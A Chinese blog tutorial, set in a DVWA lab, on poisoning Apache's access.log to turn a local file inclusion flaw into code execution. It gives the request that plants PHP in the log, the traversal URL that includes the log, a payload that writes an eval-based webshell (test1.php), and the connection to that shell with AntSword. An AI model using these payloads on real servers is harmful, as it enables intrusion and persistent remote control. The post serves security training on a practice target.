中间件日志包含绕过

当某个PHP文件只存在本地包含漏洞,不存在远程包含漏洞,而却无法上传正常文件(无上传功能),这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。

Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。


以Apache为例,每次成功访问的记录都会记录在access.log下,访问失败的记录会记录在error.log下,如图所示:

但打开之后却是一片空白,按理说是有很多记录的

打开httpd.conf文件,找到CustomLog "logs/access.log" common,发现前面也没有#注释


换成phpstudy2018来做实验吧,还是一样的去掉#注释,重启phpstudy,重新打开DVWA靶场就发现有记录了,再去找到phpstudy2018的apache目录下的access.log文件

(注意:access.log的文件内容是可以删掉的,只不过Ctrl S保存会让你另存为的,这里我删了,方便后续查看内容)


下面就以DVWA靶场为例:(Low难度,phpstudy2018,win11开启phpstudy服务,win7虚拟机访问)

没想到出现了allow_url_include功能没开启的情况:

打开php.ini文件,找到allow_url_include项,修改状态为On,再重启phpstudy:


访问http://10.4.27.70/<?php phpinfo();?>

查看access.log可以看到被二次编码了:


用burp抓包还原:

查看access.log文件可以看到已经正常记录了:


接下来就要用文件包含了,在地址栏中输入:

http://10.4.27.70/DVWA/vulnerabilities/fi/?page=../../../../Apache/logs/access.log

为什么相对路径是这样呢?

当前目录是vulnerabilities/fi

第一级返回vulnerabilities目录

第二级返回DVWA目录

第三级返回WWW目录

第四级返回PHPTutorial目录

第五级返回phpstudy2018目录

第六级返回E盘

E:\phpstudy2018\PHPTutorial\WWW\DVWA\vulnerabilities\fi

E:\phpstudy2018\PHPTutorial\Apache\logs\access.log

所以是../../../../Apache/logs/access.log(要加多一个../才行)

可以看到成功访问


编写一句话木马并用burp抓包改包:

<?php $file=fopen('test1.php','w'); fputs($file,'<?php @eval($_POST[123]);?>');?>


在地址栏中输入:

http://10.4.27.70/DVWA/vulnerabilities/fi/?page=../../../../Apache/logs/access.log

用文件包含漏洞触发一句话木马后是可以看到在/DVWA/vulnerabilities/fi/目录下生成了个test1.php文件


用中国蚁剑连接:

http://10.4.27.70/DVWA/vulnerabilities/fi/test1.php

成功利用中间件日志包含漏洞!

  • 40
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值